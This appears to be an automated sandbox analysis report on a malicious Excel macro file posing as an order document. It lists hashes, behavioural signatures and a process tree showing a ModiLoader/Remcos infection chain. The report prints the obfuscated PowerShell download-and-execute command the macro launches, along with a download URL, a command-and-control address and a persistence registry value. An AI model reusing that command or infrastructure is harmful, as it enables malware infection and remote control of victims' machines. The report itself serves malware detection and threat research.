Analysis
-
max time kernel
148s -
max time network
146s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
18-01-2021 16:33
Static task
static1
Behavioral task
behavioral1
Sample
Order No-202000125.xlsm
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Order No-202000125.xlsm
Resource
win10v20201028
General
-
Target
Order No-202000125.xlsm
-
Size
410KB
-
MD5
2c71ebde60e06f76a2ccc831400f24b7
-
SHA1
7d7294586a74052bce542ba4cd1fb3eeb2ea08a3
-
SHA256
cc52b8f39a31d7372f7c3d76e386fa20f830b530dec05ce67229e4abf33c92d9
-
SHA512
ec36d40a564d98c77a198eed1ab1d0fae309e19800fa00a9f50fdfab6b393bca804c71ca97ce2354c47e707a7d0d84429e280ddb4c0a93730c4f953331b31f87
Malware Config
Extracted
http://winsfgt.com/php/u.exe
Extracted
remcos
79.134.225.19:2556
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3656 1212 cmd.exe EXCEL.EXE -
ModiLoader First Stage 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\bFPTx.bat modiloader_stage1 C:\Users\Admin\AppData\Local\Temp\bFPTx.bat modiloader_stage1 -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 21 3940 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
bFPTx.batpid process 400 bFPTx.bat -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
bFPTx.batdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Yqjbm = "C:\\Users\\Admin\\mbjqY.url" bFPTx.bat -
Suspicious use of SetThreadContext 3 IoCs
Processes:
ieinstal.exedescription pid process target process PID 3108 set thread context of 1596 3108 ieinstal.exe ieinstal.exe PID 3108 set thread context of 800 3108 ieinstal.exe ieinstal.exe PID 3108 set thread context of 3636 3108 ieinstal.exe ieinstal.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 30 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 32 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1212 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exeieinstal.exeieinstal.exepid process 3940 powershell.exe 3940 powershell.exe 3940 powershell.exe 800 ieinstal.exe 800 ieinstal.exe 1596 ieinstal.exe 1596 ieinstal.exe 1596 ieinstal.exe 1596 ieinstal.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeieinstal.exedescription pid process Token: SeDebugPrivilege 3940 powershell.exe Token: SeDebugPrivilege 800 ieinstal.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 1212 EXCEL.EXE 1212 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 16 IoCs
Processes:
EXCEL.EXEbFPTx.batpid process 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 400 bFPTx.bat 400 bFPTx.bat -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
EXCEL.EXEcmd.exebFPTx.batieinstal.exedescription pid process target process PID 1212 wrote to memory of 3656 1212 EXCEL.EXE cmd.exe PID 1212 wrote to memory of 3656 1212 EXCEL.EXE cmd.exe PID 3656 wrote to memory of 3940 3656 cmd.exe powershell.exe PID 3656 wrote to memory of 3940 3656 cmd.exe powershell.exe PID 1212 wrote to memory of 400 1212 EXCEL.EXE bFPTx.bat PID 1212 wrote to memory of 400 1212 EXCEL.EXE bFPTx.bat PID 1212 wrote to memory of 400 1212 EXCEL.EXE bFPTx.bat PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 400 wrote to memory of 3108 400 bFPTx.bat ieinstal.exe PID 3108 wrote to memory of 1596 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 1596 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 1596 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 1596 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 1596 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 1596 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 1596 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 1596 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 800 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 800 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 800 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 800 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 800 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 800 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 800 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 800 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 3636 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 3636 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 3636 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 3636 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 3636 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 3636 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 3636 3108 ieinstal.exe ieinstal.exe PID 3108 wrote to memory of 3636 3108 ieinstal.exe ieinstal.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Order No-202000125.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start p^owersh^el^l -w 1 (New-Object Net.WebClient).DownloadFile('http://winsfgt.com/php/u.exe',($env:Temp)+'\bFPTx.bat')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w 1 (New-Object Net.WebClient).DownloadFile('http://winsfgt.com/php/u.exe',($env:Temp)+'\bFPTx.bat')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\bFPTx.batC:\Users\Admin\AppData\Local\Temp\bFPTx.bat2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ggiuyoklxolopxxuaxdnfucxt"4⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qbnmzgvelwdtsdlyjhygizxguofi"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\Admin\AppData\Local\Temp\tdtfzzggzevgcrzktslitmsxdcxrwpop"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\bFPTx.batMD5
1982963b64d323f39033d40641437595
SHA18dde953e501af236d8be98dbf6d683fda458ba38
SHA25660119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7
SHA51275481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1
-
C:\Users\Admin\AppData\Local\Temp\bFPTx.batMD5
1982963b64d323f39033d40641437595
SHA18dde953e501af236d8be98dbf6d683fda458ba38
SHA25660119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7
SHA51275481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1
-
C:\Users\Admin\AppData\Local\Temp\ggiuyoklxolopxxuaxdnfucxtMD5
1e69b6d630e694119f4f8c448a430b60
SHA1b118feca7d85ec706b54279a1dafc71673fe6e54
SHA2562f7eedbe9e3b0a3aa08df4fa2dc27de189484a8da8925cc6056513d744b7c00e
SHA51219924161f75cbbcf7bdf122f3aecb43d813186a6693413ccc15bb2945d48401c8f058edf034cc641cedc97ae5e328d88fabfab1b5f324014b83671b3ebd78822
-
memory/400-16-0x0000000000000000-mapping.dmp
-
memory/400-18-0x0000000000690000-0x0000000000691000-memory.dmpFilesize
4KB
-
memory/800-32-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB
-
memory/800-36-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB
-
memory/800-33-0x0000000000422206-mapping.dmp
-
memory/1212-6-0x00007FFC22770000-0x00007FFC22780000-memory.dmpFilesize
64KB
-
memory/1212-2-0x00007FFC22770000-0x00007FFC22780000-memory.dmpFilesize
64KB
-
memory/1212-5-0x00007FFC48040000-0x00007FFC48677000-memory.dmpFilesize
6.2MB
-
memory/1212-4-0x00007FFC22770000-0x00007FFC22780000-memory.dmpFilesize
64KB
-
memory/1212-3-0x00007FFC22770000-0x00007FFC22780000-memory.dmpFilesize
64KB
-
memory/1596-31-0x0000000000476274-mapping.dmp
-
memory/1596-30-0x0000000000400000-0x0000000000478000-memory.dmpFilesize
480KB
-
memory/1596-37-0x0000000000400000-0x0000000000478000-memory.dmpFilesize
480KB
-
memory/3108-28-0x0000000010540000-0x0000000010564000-memory.dmpFilesize
144KB
-
memory/3108-20-0x0000000000000000-mapping.dmp
-
memory/3108-21-0x0000000000600000-0x0000000000601000-memory.dmpFilesize
4KB
-
memory/3108-23-0x00000000003A0000-0x00000000003A1000-memory.dmpFilesize
4KB
-
memory/3108-29-0x0000000000610000-0x0000000000631000-memory.dmpFilesize
132KB
-
memory/3108-19-0x0000000000340000-0x0000000000341000-memory.dmpFilesize
4KB
-
memory/3636-34-0x0000000000400000-0x0000000000457000-memory.dmpFilesize
348KB
-
memory/3636-38-0x0000000000400000-0x0000000000457000-memory.dmpFilesize
348KB
-
memory/3636-35-0x0000000000455238-mapping.dmp
-
memory/3656-7-0x0000000000000000-mapping.dmp
-
memory/3940-10-0x0000028553810000-0x0000028553811000-memory.dmpFilesize
4KB
-
memory/3940-9-0x00007FFC3CB80000-0x00007FFC3D56C000-memory.dmpFilesize
9.9MB
-
memory/3940-11-0x0000028553A10000-0x0000028553A11000-memory.dmpFilesize
4KB
-
memory/3940-13-0x0000028553883000-0x0000028553885000-memory.dmpFilesize
8KB
-
memory/3940-12-0x0000028553880000-0x0000028553882000-memory.dmpFilesize
8KB
-
memory/3940-8-0x0000000000000000-mapping.dmp
-
memory/3940-14-0x0000028553886000-0x0000028553888000-memory.dmpFilesize
8KB